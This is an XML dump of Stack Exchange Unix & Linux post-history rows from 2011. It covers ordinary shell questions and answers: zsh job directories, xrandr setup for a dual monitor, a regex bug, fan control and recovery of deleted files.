  <row Id="31011" PostHistoryTypeId="2" PostId="12638" RevisionGUID="15cd606e-7385-48f7-92e9-40494971ca60" CreationDate="2011-05-02T23:28:14.390" UserId="885" Text="This is possible in zsh, and in fact it's easy thanks to the direct access to the job parameters provided by the [zsh/parameter module](http://zsh.sourceforge.net/Doc/Release/Zsh-Modules.html). You can use a job number or any job specification (`%+`, `%-`, `%foo`, etc.) as a subscript in the array.&#xD;&#xA;&#xD;&#xA;    zmodload zsh/parameter&#xD;&#xA;    fgcd () {&#xD;&#xA;      cd $jobdirs[${1:-%+}]&#xD;&#xA;      fg $1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Bash also keeps track of the information, but I don't think it's exposed. On some systems, you can obtain the current working directory of the job's process, and switch to it. For example, on Linux, `/proc/$pid/cwd` is a symbolic link to that process's working directory.&#xD;&#xA;&#xD;&#xA;    fgcd () { # Linux only&#xD;&#xA;      cd /proc/$(jobs -p $1)/cwd&#xD;&#xA;      fg $1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Since it can also be useful, here's a zsh version. Unlike the function above, which switches to the job's original directory, this one switches to the current working directory of the job's process leader.&#xD;&#xA;&#xD;&#xA;    fgcd () { # Linux only&#xD;&#xA;      cd /proc/${${${jobstates[${1:-%+}]}#*:*:}%\=*}/cwd&#xD;&#xA;      fg $1&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="31012" PostHistoryTypeId="2" PostId="12637" RevisionGUID="092cb27b-c3dc-4ea1-a81c-bd390c2dba03" CreationDate="2011-05-02T06:42:32.203" UserDisplayName="Senthil" Text="Say I open `~/vim.txt`, push that to background cd to another path, when I bring that job to foreground, is there an option to switch back to old path? I noticed it says `pwd`, so I assume it is possible.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="31013" PostHistoryTypeId="1" PostId="12637" RevisionGUID="092cb27b-c3dc-4ea1-a81c-bd390c2dba03" CreationDate="2011-05-02T06:42:32.203" UserDisplayName="Senthil" Text="Switch back to path when resume job from background" />
  <row Id="31014" PostHistoryTypeId="3" PostId="12637" RevisionGUID="092cb27b-c3dc-4ea1-a81c-bd390c2dba03" CreationDate="2011-05-02T06:42:32.203" UserDisplayName="Senthil" Text="ébashàézshà" />
  <row Id="31015" PostHistoryTypeId="17" PostId="12637" RevisionGUID="ea28d4ae-db55-46cb-8a9a-644d80153c4d" CreationDate="2011-05-04T20:49:56.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5854198/switch-back-to-path-when-resume-job-from-background" Text="" />
  <row Id="31016" PostHistoryTypeId="5" PostId="12633" RevisionGUID="b8025155-55b9-4c2f-a197-291ef016e109" CreationDate="2011-05-04T21:03:12.760" UserId="1925" Comment="added 782 characters in body; deleted 10 characters in body" Text="[Gilles is exactly right][1], `ls` is a really bad example because file name glob expansion can be done much easier on the command line without having to use `ls` at all! If your so called &quot;text files&quot; have file name extensions to identify them, you could do something like this:&#xD;&#xA;&#xD;&#xA;    editor-command *.txt&#xD;&#xA;&#xD;&#xA;For the sake of demonstrating a technique, lets use a more complicated example that could not be done with just a filename match and open files based on the content instead of just the file name. Lets say you wanted to open all the files that contained the string &quot;content-type&quot;.&#xD;&#xA;&#xD;&#xA;Assuming your editor will accept multiple file names and open them all at once in separate buffers or sequentially work it's way through them, you can simply run:&#xD;&#xA;&#xD;&#xA;    editor-command $(grep -i content-type)&#xD;&#xA;&#xD;&#xA;Now back to your original question, lets say you don't know if they are text files or not based on their names. You would then need to use another program to identify them, then open them based on that data. The program `file` will tell you what kind of file something is, and you can grep that list for just text files, and then open just the matching file names like this:&#xD;&#xA;&#xD;&#xA;   editor-command $(file -ni * | grep 'text/plain' | cut -d: -f1)&#xD;&#xA;&#xD;&#xA;The output of the command chain inside the `$()` construct will be used as arguments for the editor. I sometimes do this in two stages. Say I'm looking through some set of files and get myself a list of every xml file containing the string &quot;content-type&quot;&#xD;&#xA;&#xD;&#xA;    find -type f -iname '*xml' | xargs grep -Hi 'content-type' |  cut -d: -f1&#xD;&#xA;&#xD;&#xA;...and decide I want to open them. I then use the last command history shortcut and do this:&#xD;&#xA;&#xD;&#xA;    vim $(!!)&#xD;&#xA;&#xD;&#xA;...to open all of the results of the previous command in vim, my favorite editor.&#xD;&#xA;&#xD;&#xA;If your editor will only accept one file at a time and you need to keep spawing editors, you will need to use a variant of either the `xargs` or `for` loop in [jmtd's answer][2] depending on whether you are using a terminal based editor that needs stdio. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12607/how-do-i-open-all-files-that-are-the-result-of-a-ls-command/12634#12634&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/12607/how-do-i-open-all-files-that-are-the-result-of-a-ls-command/12609#12609" />
  <row Id="31017" PostHistoryTypeId="5" PostId="12633" RevisionGUID="2e5b00ca-e6b3-458e-8b17-ddeee1781ca1" CreationDate="2011-05-04T21:08:15.720" UserId="1925" Comment="added 1 characters in body" Text="[Gilles is exactly right][1], `ls` is a really bad example because file name glob expansion can be done much easier on the command line without having to use `ls` at all! If your so called &quot;text files&quot; have file name extensions to identify them, you could do something like this:&#xD;&#xA;&#xD;&#xA;    editor-command *.txt&#xD;&#xA;&#xD;&#xA;For the sake of demonstrating a technique, lets use a more complicated example that could not be done with just a filename match and open files based on the content instead of just the file name. Lets say you wanted to open all the files that contained the string &quot;content-type&quot;.&#xD;&#xA;&#xD;&#xA;Assuming your editor will accept multiple file names and open them all at once in separate buffers or sequentially work it's way through them, you can simply run:&#xD;&#xA;&#xD;&#xA;    editor-command $(grep -i content-type)&#xD;&#xA;&#xD;&#xA;Now back to your original question, lets say you don't know if they are text files or not based on their names. You would then need to use another program to identify them, then open them based on that data. The program `file` will tell you what kind of file something is, and you can grep that list for just text files, and then open just the matching file names like this:&#xD;&#xA;&#xD;&#xA;    editor-command $(file -ni * | grep 'text/plain' | cut -d: -f1)&#xD;&#xA;&#xD;&#xA;The output of the command chain inside the `$()` construct will be used as arguments for the editor. I sometimes do this in two stages. Say I'm looking through some set of files and get myself a list of every xml file containing the string &quot;content-type&quot;&#xD;&#xA;&#xD;&#xA;    find -type f -iname '*xml' | xargs grep -Hi 'content-type' |  cut -d: -f1&#xD;&#xA;&#xD;&#xA;...and decide I want to open them. I then use the last command history shortcut and do this:&#xD;&#xA;&#xD;&#xA;    vim $(!!)&#xD;&#xA;&#xD;&#xA;...to open all of the results of the previous command in vim, my favorite editor.&#xD;&#xA;&#xD;&#xA;If your editor will only accept one file at a time and you need to keep spawing editors, you will need to use a variant of either the `xargs` or `for` loop in [jmtd's answer][2] depending on whether you are using a terminal based editor that needs stdio. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12607/how-do-i-open-all-files-that-are-the-result-of-a-ls-command/12634#12634&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/12607/how-do-i-open-all-files-that-are-the-result-of-a-ls-command/12609#12609" />
  <row Id="31019" PostHistoryTypeId="6" PostId="12637" RevisionGUID="88e13d83-cfa8-46bf-a41a-94f605ac50e0" CreationDate="2011-05-04T21:10:38.990" UserId="885" Comment="edited tags" Text="ébashàézshàédirectoryàéjobsà" />
  <row Id="31020" PostHistoryTypeId="25" PostId="12626" RevisionGUID="03032701-45e6-4bc4-9d5f-30b9e9ca2276" CreationDate="2011-05-04T21:11:25.103" Comment="http://twitter.com/#!/StackUnix/status/65886268801810433" />
  <row Id="31021" PostHistoryTypeId="5" PostId="12618" RevisionGUID="d6c943b7-3e05-44fa-9249-318f9dc3a3ac" CreationDate="2011-05-04T21:13:44.160" UserId="1925" Comment="deleted 13 characters in body" Text="I often read some text with images and often happens that the text talks about an image that is on the next page and next page and previous page and I have to go back and forward and usually forget where I paused reading.&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;I got an idea to save the images to image clipboard which is able to contain about 5 images (e.g. with making small screenshot of the screen area). While reading when the text talks &quot;see picture 10.4 (on page 42)&quot; and in a few seconds &quot;compare it to picture 10.2 (on page 40)&quot; I could press only keyboard shortcut and select the desired picture without browsing through the text.&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;Is this possible in X Window System? Or with some script?" />
  <row Id="31022" PostHistoryTypeId="5" PostId="12629" RevisionGUID="ba12a310-3e8d-4014-beb9-7f2bf931b777" CreationDate="2011-05-04T21:18:32.923" UserId="1925" Comment="edited body; edited title" Text="**Edit:** I've just found the problem (10 minutes after I posted the question) but I'll leave it for a while. Someone may simply be interested to try and spot the problem. This way the question get answered in a &quot;normal&quot; way. I've been trying to figure this out for a day! (Along with the other byte configurations). Writing this question out in such a &quot;detailed&quot; manner gave me a fresh look at it.&#xD;&#xA;&#xD;&#xA;The question (pre Edit):&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;I am trying to filter valid/invalid UTF-8 bytes, but I get strange results from the following regex (which is intended to handle a 3 byte form of UTF-8).   &#xD;&#xA;&#xD;&#xA;I have intended the pattern should **not** match the test bytes `'\xE0\xA1\x63'`, but it does...  &#xD;&#xA;What am I missing?        &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    showmatch() {&#xD;&#xA;      echo -ne &quot;    --&gt; &quot;&#xD;&#xA;      echo -ne &quot;$bytes&quot; | &#xD;&#xA;        # strip whitespace from the pattern&#xD;&#xA;        perl -l -ne '/^'${1// /}'$/x and print' |&#xD;&#xA;          tr -d '\n' |&#xD;&#xA;            xxd -p |&#xD;&#xA;              tr -d '\n'&#xD;&#xA;      echo; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    bytes='\xE0\xA1\x63'&#xD;&#xA;    echo -n &quot;before: &quot;; echo -ne &quot;$bytes&quot; |xxd -p&#xD;&#xA;    # Note: all whitespace is stripped from each regex pattern.&#xD;&#xA;    #           Bytes 1 and 2 and 3&#xD;&#xA;    #          (---------------------------------------------------------------------------------------------------)&#xD;&#xA;    #              Bytes 1 and 2&#xD;&#xA;    #             (------------------------------------------------------------------------------)                  &#xD;&#xA;    #                [byt1][byt2-----]  |  [byt1][byt2-----]  |  [byte-1------------][byt2-----]      [byt3----]                                                          &#xD;&#xA;    #                =================     =================     ===============================      ==========                            &#xD;&#xA;    showmatch '(  ( ([\xE0][\xA0-\xBF]) | ([\xED][\x80-\x9F]) | ([\xE1-\xEC\xEE-\xEF][\x80-\xBF]) )  ([\80-\xBF])  )'&#xD;&#xA;    #&#xD;&#xA;    # witout spaces:&#xD;&#xA;    showmatch '((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))'&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the output&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    before: e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;" />
  <row Id="31023" PostHistoryTypeId="4" PostId="12629" RevisionGUID="ba12a310-3e8d-4014-beb9-7f2bf931b777" CreationDate="2011-05-04T21:18:32.923" UserId="1925" Comment="edited body; edited title" Text="Why does this regex find a match for \x63 with a pattern [\80-\BF]" />
  <row Id="31024" PostHistoryTypeId="5" PostId="12637" RevisionGUID="10e99f07-ab8d-43ce-b5fe-4f02483c19db" CreationDate="2011-05-04T21:23:13.560" UserId="1925" Comment="deleted 3 characters in body; edited tags" Text="Say I open `~/vim.txt`, push that to background, then `cd` to another path. When I bring that job to foreground, is there an option to switch back to old path? I noticed it says `pwd`, so I assume it is possible." />
  <row Id="31025" PostHistoryTypeId="6" PostId="12637" RevisionGUID="10e99f07-ab8d-43ce-b5fe-4f02483c19db" CreationDate="2011-05-04T21:23:13.560" UserId="1925" Comment="deleted 3 characters in body; edited tags" Text="ébashàédirectoryàézshàéjobsà" />
  <row Id="31026" PostHistoryTypeId="2" PostId="12639" RevisionGUID="515b9867-b605-40f2-9db2-8b1f5eb246fc" CreationDate="2011-05-04T21:36:33.510" UserId="885" Text="You've spotted the mistake, good. What would be useful now is ways to spot similar mistakes or to avoid them in the future.&#xD;&#xA;&#xD;&#xA;You've already hit on Perl's `x` modifier to the regexp operators, which lets you have whitespace in the regexps. Your matching construct would be written with newlines (which would let you add comments).&#xD;&#xA;&#xD;&#xA;    /(  ( ([\xE0][\xA0-\xBF]) |&#xD;&#xA;          ([\xED][\x80-\x9F]) |&#xD;&#xA;          ([\xE1-\xEC\xEE-\xEF][\x80-\xBF]) )&#xD;&#xA;        ([\80-\xBF])  )/x&#xD;&#xA;&#xD;&#xA;or without the parentheses that aren't necessary here:&#xD;&#xA;&#xD;&#xA;    /([\xE0][\xA0-\xBF]|&#xD;&#xA;      [\xED][\x80-\x9F]|&#xD;&#xA;      [\xE1-\xEC\xEE-\xEF][\x80-\xBF])&#xD;&#xA;     [\80-\xBF] /x&#xD;&#xA;&#xD;&#xA;I find that the missing `x` stands out more this way.&#xD;&#xA;" />
  <row Id="31027" PostHistoryTypeId="2" PostId="12640" RevisionGUID="e3e3697e-cd0e-45c6-8cd2-c0a64278524f" CreationDate="2011-05-04T22:27:29.677" UserId="6352" Text="`iptables` runs as root, and it's a security tool that's designed to prevent unauthorized access to ports. It also has its grubby little digits deeply embedded in the kernel's network stack and underpinnings. While I don't know this with absolute certainty, I would say that this is a *purposeful* and *perfectly acceptable* permissions change on the device by the kernel. The device's processes are listening for connections on the network, regardless of whether it's below the 1024 mark. This change would prevent permissions violations from external programs. &#xD;&#xA;&#xD;&#xA;Let's say it *was* owned by you while node.js and your testing script were running, technically as a service, in `screen`. Someone could just cat the device node (`cat /dev/pts/1`), and in doing so, audit whatever is happening on it. They may have to | it to something to translate it into human-speak, but I digress. If however it's root owned, and rw only to root, which it is in your post, then it would prevent such access except by root, which is *exactly* what you would want. &#xD;&#xA;&#xD;&#xA;All that being said, I would suggest that you ignore the permissions change entirely. The `/dev` directory is controlled exclusively by the kernel, therefore permissions modifications come from a trusted source. Devices don't need to be micro-managed by people and in general, are owned as **root.root**, **root.dev**, **root.tty**, etc., usually with **rw** for the owner, and **w** only, for the group, which is almost always a privileged group. Unless there is some problem with the process or device then no changes are necessary, nor are any system modifications to those perms relevant to a user. &#xD;&#xA;&#xD;&#xA;The permissions for the screen process, and it's sub-processes in `ps -ef` are what you should be paying attention to rather than the raw device. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31028" PostHistoryTypeId="2" PostId="12641" RevisionGUID="578b8aea-5eca-4076-82e5-9f3c14787961" CreationDate="2011-05-04T22:49:41.173" UserId="1594" Text="I'm sure the answer to this question was already presented here in some where, but a quick search (here + Google) didn't find it.&#xD;&#xA;&#xD;&#xA;I connect a screen to my laptop, and it's blank. How do I extend my desktop to this screen?" />
  <row Id="31029" PostHistoryTypeId="1" PostId="12641" RevisionGUID="578b8aea-5eca-4076-82e5-9f3c14787961" CreationDate="2011-05-04T22:49:41.173" UserId="1594" Text="How to extend my desktop to a second connected screen" />
  <row Id="31030" PostHistoryTypeId="3" PostId="12641" RevisionGUID="578b8aea-5eca-4076-82e5-9f3c14787961" CreationDate="2011-05-04T22:49:41.173" UserId="1594" Text="éscreenàédesktopàémonitorà" />
  <row Id="31031" PostHistoryTypeId="2" PostId="12642" RevisionGUID="ab106e82-fff8-42dc-b697-080f7c7d83df" CreationDate="2011-05-04T22:50:46.307" UserId="1594" Text="(Let me treat this Q&amp;A as a memo to my future self)&#xD;&#xA;&#xD;&#xA;The easiest way I found with simply press the &quot;extend desktop&quot; button - Function F5." />
  <row Id="31032" PostHistoryTypeId="6" PostId="12641" RevisionGUID="c0858139-187d-4c64-a72f-691e1d3affb8" CreationDate="2011-05-04T22:57:42.660" UserId="885" Comment="edited tags" Text="élaptopàédualömonitorà" />
  <row Id="31033" PostHistoryTypeId="2" PostId="12643" RevisionGUID="7740b1ef-125a-4894-becc-81e178db394a" CreationDate="2011-05-04T22:59:42.550" UserId="6352" Text="I would say go for Ubuntu. It's the easiest to administer in my experience (all our servers are Ubuntu), is faster on updates than other distros, and apt-get (package manager) is quite friendly. The online community is fantastic as well, and I've rarely run into a situation that it hasn't already solved.&#xD;&#xA;&#xD;&#xA;Good luck in your Linux/*nix Journey! " />
  <row Id="31034" PostHistoryTypeId="2" PostId="12644" RevisionGUID="9b627030-a1a5-484e-b3ae-084e5f41b970" CreationDate="2011-05-04T23:47:53.320" UserId="7216" Text="The arrow keys cycles between the windows. But sometimes it won't let me switch to window down, just left or right and other times it won't let me go up. I'm not sure if this is a feature or a bug, more likely the latter." />
  <row Id="31035" PostHistoryTypeId="1" PostId="12644" RevisionGUID="9b627030-a1a5-484e-b3ae-084e5f41b970" CreationDate="2011-05-04T23:47:53.320" UserId="7216" Text="Ubuntu compiz scale plugin arrow movement breaks sometimes" />
  <row Id="31036" PostHistoryTypeId="3" PostId="12644" RevisionGUID="9b627030-a1a5-484e-b3ae-084e5f41b970" CreationDate="2011-05-04T23:47:53.320" UserId="7216" Text="éubuntuàécompizà" />
  <row Id="31037" PostHistoryTypeId="5" PostId="12638" RevisionGUID="6ba7a21e-a8a7-4521-bc3e-62a292f98c13" CreationDate="2011-05-05T00:10:55.253" UserId="885" Comment="don't call cd if the jobspec doesn't match anything; added 147 characters in body" Text="This is possible in zsh, and in fact it's easy thanks to the direct access to the job parameters provided by the [zsh/parameter module](http://zsh.sourceforge.net/Doc/Release/Zsh-Modules.html). You can use a job number or any job specification (`%+`, `%-`, `%foo`, etc.) as a subscript in the array.&#xD;&#xA;&#xD;&#xA;    zmodload zsh/parameter&#xD;&#xA;    fgcd () {&#xD;&#xA;      local dir=$jobdirs[${1:-%+}]&#xD;&#xA;      # If the jobspec matched, then call cd. Otherwise it's probably a bad&#xD;&#xA;      # job spec, but call fg anyway to get the usual error message.&#xD;&#xA;      if [[ -n $dir ]]; then cd $dir; fi&#xD;&#xA;      fg $1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Bash also keeps track of the information, but I don't think it's exposed. On some systems, you can obtain the current working directory of the job's process, and switch to it. For example, on Linux, `/proc/$pid/cwd` is a symbolic link to that process's working directory.&#xD;&#xA;&#xD;&#xA;    fgcd () { # Linux only&#xD;&#xA;      local pid=$(jobs -p $1)&#xD;&#xA;      if [[ -n $pid ]]; then cd /proc/$pid/cwd; fi&#xD;&#xA;      fg $1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Since it can also be useful, here's a zsh version. Unlike the function above, which switches to the job's original directory, this one switches to the current working directory of the job's process leader.&#xD;&#xA;&#xD;&#xA;    fgcd () { # Linux only&#xD;&#xA;      local pid=${${${jobstates[${1:-%+}]}#*:*:}%\=*}&#xD;&#xA;      if [[ -n $pid ]]; then cd /proc/$pid/cwd; fi&#xD;&#xA;      fg $1&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="31038" PostHistoryTypeId="25" PostId="12641" RevisionGUID="6065c393-c04a-419b-9474-df937bdee051" CreationDate="2011-05-05T00:11:26.453" Comment="http://twitter.com/#!/StackUnix/status/65931573182201858" />
  <row Id="31039" PostHistoryTypeId="2" PostId="12645" RevisionGUID="10f0da05-ae12-436c-bf46-4aff5eaeace2" CreationDate="2011-05-05T01:03:01.980" UserId="6203" Text="The very important thing is to lower down the cpu clock first.&#xD;&#xA;&#xD;&#xA;The second important part is to verifying there is no physical cooling problem (like dust on the fans, cat or dog hairs in the heatsink ect)&#xD;&#xA;&#xD;&#xA;On most computers, the fan speed is directly operated by the bios or the os automatically.&#xD;&#xA;&#xD;&#xA;The cleaning/lowering cpu speed process should let the cooling performs better, and, if the T° goes down, so the speed of the fans too.&#xD;&#xA;&#xD;&#xA;If it's not, i advise you to look into &quot;fancontrol&quot;&#xD;&#xA;It's a little application, who use lm-sensors and pwm-config (pwm is the thing commonly used to drive the fan rotation speed from the computer, see: https://secure.wikimedia.org/wikipedia/en/wiki/Fan_control#Pulse-width_modulation ) to regulate automatically the fan speed according to the CPU temperature&#xD;&#xA;&#xD;&#xA;Here is little documentation about it: http://www.lm-sensors.org/wiki/man/fancontrol&#xD;&#xA;&#xD;&#xA;I assure you that is more easier than it looks, but primary you need to install and configure sensors to your computer.&#xD;&#xA;It has a little easy-config script to help you to detect &amp; configure your sensors and stuff, called &quot;sensors-detect&quot; in most distros.&#xD;&#xA;I advise you to google about it, including your distro name and your laptop brand/model to find the best settings&#xD;&#xA;&#xD;&#xA;After that, just run &quot;pwmconfig&quot; as root.&#xD;&#xA;It detects driveable fans, temperature sensors, and ask you Min/Max Temps for cpu and Min/Max fan speed you want.&#xD;&#xA;" />
  <row Id="31044" PostHistoryTypeId="2" PostId="12647" RevisionGUID="6cb1c8cc-1f8d-42de-be74-66526e5e096c" CreationDate="2011-05-05T01:50:22.003" UserId="6803" Text="Right now I am answering this with my notebook connected to a monitor. To have my desktop extended I use `xrandr` and its graphical interface `ARandR`, both of them working pretty well.&#xD;&#xA;&#xD;&#xA;Indeed I have a script, which I execute everytime I log to my notebook having the screen attached to it:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    xrandr --output LVDS1 --mode 1280x800 --pos 0x0 --rotate normal --output VGA1 --mode 1440x900 --pos 1280x0 --rotate normal --output HDMI1 --off&#xD;&#xA;&#xD;&#xA;To understand it, first of all you must see that it references three `outputs`: __LVDS1__ which is the laptop screen; __VGA1__ which is my external monitor; and __HDMI1__ which is disabled (option `--off` right after it) cause I don't have any monitor attached to that port.  &#xD;&#xA;&#xD;&#xA;You can get the list of outputs available with:&#xD;&#xA;&#xD;&#xA;    xrandr -q&#xD;&#xA;&#xD;&#xA;The other params are:&#xD;&#xA;&#xD;&#xA;* `mode`: a parameter that follows every output you define, and sets its resolution.&#xD;&#xA;* `pos`: which sets the position of that output relative to the top left corner of the composed desktop.&#xD;&#xA;* `rotate`: which sets the rotation you want for the output.&#xD;&#xA;&#xD;&#xA;I have an Intel graphics adapter. In the case of nVidia, they have an application to select `TwinView`, for example." />
  <row Id="31045" PostHistoryTypeId="5" PostId="12647" RevisionGUID="afb72bd2-6441-4cf6-8030-b141182384f4" CreationDate="2011-05-05T01:55:35.820" UserId="6803" Comment="Improved last section." Text="Right now I am answering this with my notebook connected to a monitor. To have my desktop extended I use `xrandr` and its graphical interface `ARandR`, both of them working pretty well.&#xD;&#xA;&#xD;&#xA;Indeed I have a script, which I execute everytime I log to my notebook having the screen attached to it:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    xrandr --output LVDS1 --mode 1280x800 --pos 0x0 --rotate normal --output VGA1 --mode 1440x900 --pos 1280x0 --rotate normal --output HDMI1 --off&#xD;&#xA;&#xD;&#xA;To understand it, first of all you must see that it references three `outputs`: __LVDS1__ which is the laptop screen; __VGA1__ which is my external monitor; and __HDMI1__ which is disabled (option `--off` right after it) cause I don't have any monitor attached to that port.  &#xD;&#xA;&#xD;&#xA;You can get the list of outputs available with:&#xD;&#xA;&#xD;&#xA;    xrandr -q&#xD;&#xA;&#xD;&#xA;Following every `output` are some parameters that set specific features for them:&#xD;&#xA;&#xD;&#xA;* `mode`: sets the resolution of the output.&#xD;&#xA;* `pos`: which sets the position of the output relative to the top left corner of the composed desktop.&#xD;&#xA;* `rotate`: which sets the rotation you want for the output.&#xD;&#xA;&#xD;&#xA;I have an Intel graphics adapter. In the case of nVidia, they have an application to select `TwinView`, for example." />
  <row Id="31046" PostHistoryTypeId="2" PostId="12648" RevisionGUID="d0c8f13e-d23f-46e1-985b-973841109827" CreationDate="2011-05-05T02:05:18.510" UserId="7220" Text="There are a number of good responses here already, but one suggestion I'll add is to consider using LiveCDs/LiveUSB as a first step. This will allow you to boot directly off removable media, so you can fiddle with a distribution without having to install it first. It's a relatively painless way to get your feet wet with various distributions.&#xD;&#xA;&#xD;&#xA;Many distributions have LiveCDs available, and some LiveCDs double as installation media should you choose to commit to a particular Linux flavor. Some links:&#xD;&#xA;&#xD;&#xA;[Fedora LiveUSB HowTo][1]&#xD;&#xA;&#xD;&#xA;[Ubuntu LiveCD][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/FedoraLiveCD/USBHowTo&#xD;&#xA;  [2]: https://help.ubuntu.com/community/LiveCD" />
  <row Id="31051" PostHistoryTypeId="2" PostId="12649" RevisionGUID="fd242aeb-eb9b-434f-b697-a41d9679ef53" CreationDate="2011-05-05T02:16:47.893" UserId="7221" Text="I found that I can do scp in mc via `cd /#sh:radek@firebird` from the command line.&#xD;&#xA;&#xD;&#xA;Is there any way I can &#xD;&#xA;&#xD;&#xA;- save this as a favorite? &#xD;&#xA;- Maybe even with the password?" />
  <row Id="31052" PostHistoryTypeId="1" PostId="12649" RevisionGUID="fd242aeb-eb9b-434f-b697-a41d9679ef53" CreationDate="2011-05-05T02:16:47.893" UserId="7221" Text="how to scp in mc (and remember)?" />
  <row Id="31053" PostHistoryTypeId="3" PostId="12649" RevisionGUID="fd242aeb-eb9b-434f-b697-a41d9679ef53" CreationDate="2011-05-05T02:16:47.893" UserId="7221" Text="éscpàémcà" />
  <row Id="31058" PostHistoryTypeId="25" PostId="12616" RevisionGUID="2f0fdede-0c03-40e5-9294-fbd3133f34ac" CreationDate="2011-05-05T03:11:26.967" Comment="http://twitter.com/#!/StackUnix/status/65976872986607617" />
  <row Id="31059" PostHistoryTypeId="17" PostId="12651" RevisionGUID="6568e012-398f-4087-ba1b-dee32fe0dbb1" CreationDate="2011-05-05T03:35:09.030" UserId="-1" Comment="from http://stackoverflow.com/questions/5892193/i-accidentally-removed-var-www-on-my-linux-server/5892213#5892213" Text="" />
  <row Id="31060" PostHistoryTypeId="17" PostId="12652" RevisionGUID="73e17ca8-0007-42b2-aad7-dde8d178ba6c" CreationDate="2011-05-05T03:35:09.030" UserId="-1" Comment="from http://stackoverflow.com/questions/5892193/i-accidentally-removed-var-www-on-my-linux-server/5892254#5892254" Text="" />
  <row Id="31061" PostHistoryTypeId="2" PostId="12651" RevisionGUID="11c7199a-19a4-41a6-8179-65a0a85eabfe" CreationDate="2011-05-05T03:10:07.807" UserId="6766" Text="In some instances you can [recover portions of deleted files](http://www.xs4all.nl/~carlo17/howto/undelete_ext3.html) from a linux filesystem but it is hard.&#xD;&#xA;&#xD;&#xA;Honestly, human error is the biggest cause of IT outages, and your best solution is to be proactive in backing up regularly as well as using a version control system like mercurial.&#xD;&#xA;&#xD;&#xA;I realize this may be pouring salt on the wound, but it's worth pointing out... The damage is done. The best help you can get now is to regain your composure, and get ready for an honest conversation with your boss. I would bet you're new to IT. While your boss may be angry, most people understand that human error happens, and it is part of learning. Just be sure you don't make yourself a target by doing this often" />
  <row Id="31062" PostHistoryTypeId="2" PostId="12652" RevisionGUID="7a71549a-9644-46b2-952d-6aa2f1f2d5e5" CreationDate="2011-05-05T03:16:06.507" UserDisplayName="Ibrahim Diallo" Text="Painful indeed, last time i had this kind of mistake, i plugged my hardisk with an external usb on my windows machine and i used a flash drive photo recovery software to recover my files partly.&#xD;&#xA;&#xD;&#xA;One good advice is not to use this hard drive until you can recover your files, because writting new data will make your old stuff disappear for ever. &#xD;&#xA;&#xD;&#xA;google flash drive recovery tool, there are lots of them that are free.&#xD;&#xA;&#xD;&#xA;There is still hope" />
  <row Id="31063" PostHistoryTypeId="2" PostId="12650" RevisionGUID="1104ef79-5e10-4d8d-8002-22e8cce429b1" CreationDate="2011-05-05T03:07:07.280" UserDisplayName="Heather" Text="I ran  `rm -drf` on my web server and accidentally removed everything inside `/var/www/`.  &#xD;&#xA;&#xD;&#xA;Of course, it had everything for our website in it. How can I undo this? Or is it possible to restore it to a previous version?" />
  <row Id="31064" PostHistoryTypeId="1" PostId="12650" RevisionGUID="1104ef79-5e10-4d8d-8002-22e8cce429b1" CreationDate="2011-05-05T03:07:07.280" UserDisplayName="Heather" Text="I accidentally removed /var/www/ on my Linux server" />
  <row Id="31065" PostHistoryTypeId="3" PostId="12650" RevisionGUID="1104ef79-5e10-4d8d-8002-22e8cce429b1" CreationDate="2011-05-05T03:07:07.280" UserDisplayName="Heather" Text="élinuxàéubuntuàédataörecoveryà" />
  <row Id="31066" PostHistoryTypeId="17" PostId="12650" RevisionGUID="f70fc686-dbd8-493d-b69f-aa02358c2c9c" CreationDate="2011-05-05T03:35:09.030" UserId="-1" Comment="from http://stackoverflow.com/questions/5892193/i-accidentally-removed-var-www-on-my-linux-server" Text="" />
  <row Id="31067" PostHistoryTypeId="2" PostId="12653" RevisionGUID="1614feee-8188-4b32-857a-3bd9f657d968" CreationDate="2011-05-05T04:08:53.353" UserId="3539" Text="As part of my research work I have to study a rootkit. So I downloaded [ncom][1] rootkit and tried installing. It didnt have any installion files. Please help me in installing it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packetstormsecurity.org/files/99782/Ncom-Libcall-Hijacking-Rootkit.html" />
  <row Id="31068" PostHistoryTypeId="1" PostId="12653" RevisionGUID="1614feee-8188-4b32-857a-3bd9f657d968" CreationDate="2011-05-05T04:08:53.353" UserId="3539" Text="How to install a shared library in Linux" />
  <row Id="31069" PostHistoryTypeId="3" PostId="12653" RevisionGUID="1614feee-8188-4b32-857a-3bd9f657d968" CreationDate="2011-05-05T04:08:53.353" UserId="3539" Text="élinuxàédebianàékernelàélibrariesàéchkrootkità" />
